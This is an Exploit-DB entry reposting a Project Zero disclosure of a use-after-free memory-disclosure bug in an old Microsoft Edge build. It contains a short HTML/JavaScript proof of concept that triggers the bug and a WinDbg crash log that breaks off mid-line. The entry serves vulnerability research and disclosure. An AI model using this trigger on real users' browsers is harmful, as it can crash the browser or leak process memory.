Exploit-DB #42445
Description: Microsoft Edge 38.14393.1066.0 - 'textarea.defaultValue' Memory Disclosure
Type: dos
Platform: windows_x86-64
Date: 2017-08-10
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1255

There is a use-after free vulnerability in Microsoft Edge that can lead to memory disclosure. The vulnerability has been confirmed on Windows 10 Enterprise 64-bit (OS version 1607, OS build 14393.1198), Microsoft Edge 38.14393.1066.0, Microsoft EdgeHTML 14.14393.

PoC:

==========================================
-->

<!-- saved from url=(0014)about:internet -->
<script>
var n = 0;
function go() {
  document.addEventListener("DOMNodeRemoved", eventhandler);
  eventhandler();
}
function eventhandler() {
  n++; if(n==5) return; //prevent going into an infinite recursion
  t.defaultValue = "aaaaaaaaaaaaaaaaaaaa";
  f.reset();
}
</script>
<body onload=go()>
<form id="f">
<textarea id="t">aaa</textarea>

<!--
=========================================

This seems to be the same bug as https://bugs.chromium.org/p/project-zero/issues/detail?id=1076 only that one is in IE and this one is in Edge.

I don't have symbols for the latest Edge after May update, so crash log doesn't make much sense but here it is anyway:

=========================================

(1618.1258): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\SYSTEM32\edgehtml.dll - 
edgehtml!Ordinal125+0x6446c:
00007ffe`843d615c 6641393e        cmp     word ptr [r14],di ds:000001fa`3389cfd4=????

0:013> !heap -p -a 000001fa`3389cfd4
    address 000001fa3389cfd4 found in
    _DPH_HEAP_ROOT @ 1f20b961000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                1fa33116138:      1fa3389c000             2000
    00007ffe9fb1b90b ntdll!RtlDebugReAllocateHeap+0x[PII_REDACTED]000047
    00007ffe9fadcbfe ntdll!RtlpReAllocateHeapInternal+0x[PII_REDACTED]08729e
    00007ffe9fa55941 ntdll!RtlReAllocateHeap+0x[PII_REDACTED]000031
    00007ffe845cc2fa edgehtml!CreateWebDriverAdapter+0x[PII_REDACTED]0504ba
    00007ffe845cbd74 edgehtml!CreateWebDriverAdapter+0x[PII_REDACTED]04ff34
    00007ffe8462fbb8 edgehtml!Ordinal107+0x[PII_REDACTED]056a48
    00007ffe84d05143 edgehtml!Ordinal106+0x[PII_REDACTED]018e63
    00007ffe845ab544 edgehtml!CreateWebDriverAdapter+0x[PII_REDACTED]02f704
    00007ffe846b0747 edgehtml!Ordinal107+0x[PII_REDACTED]0d75d7
    00007ffe84ae5c8f edgehtml!ClearPhishingFilterData+0x[PII_REDACTED]0beeaf
    00007ffe84792bb5 edgehtml!DllEnumClassObjects+0x[PII_REDACTED]043245
    00007ffe83c41227 chakra!DllGetClassObject+0x[PII_REDACTED]001d97
    00007ffe83c7a3d7 chakra!MemProtectHeapUnrootAndZero+0x[PII_REDACTED]0038e7
    00007ffe83aef541 chakra!JsProjectWinRTNamespace+0x[PII_REDACTED]046621
    000001fa1cf7057e +0x000001fa1cf7057e

0:013> r
rax=[PII_REDACTED] rbx=000001fa2d058a40 rcx=000001f212910000
rdx=0000004d44824f5c rsi=[PII_REDACTED] rdi=[PII_REDACTED]
rip=00007ffe843d615c rsp=0000004d44824f10 rbp=0000004d44825010
 r8=00000000ffffffff  r9=000001f212910000 r10=00007ffe85156fd0
r11=000001f212841a90 r12=[PII_REDACTED] r13=[PII_REDACTED]
r14=000001fa3389cfd4 r15=000001f2128e8840
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
edgehtml!Ordinal125+0x6446c:
00007ffe`843d615c 6641393e        cmp     word ptr [r14],di ds:000001fa`3389cfd4=????

0:013> k
 # Child-SP          RetAddr           Call Site
00 0000004d`44824f10 00007ffe`844bc561 edgehtml!Ordinal125+0x6446c
01 0000004d`44[PII_REDACTED]7ffe`8459a535 edgehtml!Ordinal105+0x13631
02 0000004d`448261e0 00007ffe`84d0527e edgehtml!CreateWebDriverAdapter+0x1e6f5
03 0000004d`44[PII_REDACTED]7ffe`84d03e81 edgehtml!Ordinal106+0x18f9e
04 0000004d`448263c0 00007ffe`84447753 edgehtml!Ordinal106+0x17ba1
05 0000004d`448263f0 00007ffe`8453341c edgehtml!Ordinal125+0xd5a63
06 0000004d`448264e0 00007ffe`847afc55 edgehtml!GetWebPlatformObject+0xbb4c
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\SYSTEM32\chakra.dll - 
07 0000004d`44[PII_REDACTED]7ffe`83c41227 edgehtml!DllEnumClassObjects+0x602e5
08 0000004d`44[PII_REDACTED]01fa`1cf70641 chakra!DllGetClassObject+0x1d97
09 0000004d`44[PII_REDACTED]7ffe`83cf90a3 0x000001fa`1cf70641
0a 0000004d`448266c0 00007ffe`83c68203 chakra!MemProtectHeapReportHeapSize+0x10013
0b 0000004d`44[PII_REDACTED]7ffe`83c9cf7c chakra!DllGetClassObject+0x28d73
0c 0000004d`44[PII_REDACTED]7ffe`83c9c546 chakra!MemProtectHeapUnrootAndZero+0x2648c
0d 0000004d`44[PII_REDACTED]7ffe`83cde729 chakra!MemProtectHeapUnrootAndZero+0x25a56
0e 0000004d`448268d0 00007ffe`83ca29e1 chakra!JsVarToExtension+0xa3e9
0f 0000004d`44[PII_REDACTED]7ffe`83c9e59c chakra!MemProtectHeapUnrootAndZero+0x2bef1
10 0000004d`44826a00 00007ffe`84650c4d chakra!MemProtectHeapUnrootAndZero+0x27aac
11 0000004d`44826aa0 00007ffe`84650b98 edgehtml!Ordinal107+0x77add
12 0000004d`44826af0 00007ffe`8458ac07 edgehtml!Ordinal107+0x77a28
13 0000004d`44826b30 00007ffe`8458a9f7 edgehtml!CreateWebDriverAdapter+0xedc7
14 0000004d`44826cb0 00007ffe`8464f59a edgehtml!CreateWebDriverAdapter+0xebb7
15 0000004d`44826d30 00007ffe`844b61e4 edgehtml!Ordinal107+0x7642a
16 0000004d`44826e90 00007ffe`845a0e21 edgehtml!Ordinal105+0xd2b4
17 0000004d`44826ed0 00007ffe`8505d046 edgehtml!CreateWebDriverAdapter+0x24fe1
18 0000004d`448271a0 00007ffe`847edaa2 edgehtml!Ordinal138+0x32876
19 0000004d`448271f0 00007ffe`845ad572 edgehtml!DllEnumClassObjects+0x9e132
1a 0000004d`44[PII_REDACTED]7ffe`845a7609 edgehtml!CreateWebDriverAdapter+0x31732
1b 0000004d`448273a0 00007ffe`8459a29d edgehtml!CreateWebDriverAdapter+0x2b7c9
1c 0000004d`448274b0 00007ffe`84d0527e edgehtml!CreateWebDriverAdapter+0x1e45d
1d 0000004d`44[PII_REDACTED]7ffe`84d0515a edgehtml!Ordinal106+0x18f9e
1e 0000004d`44[PII_REDACTED]7ffe`845ab544 edgehtml!Ordinal106+0x18e7a
1f 0000004d`448276c0 00007ffe`846b0747 edgehtml!Crea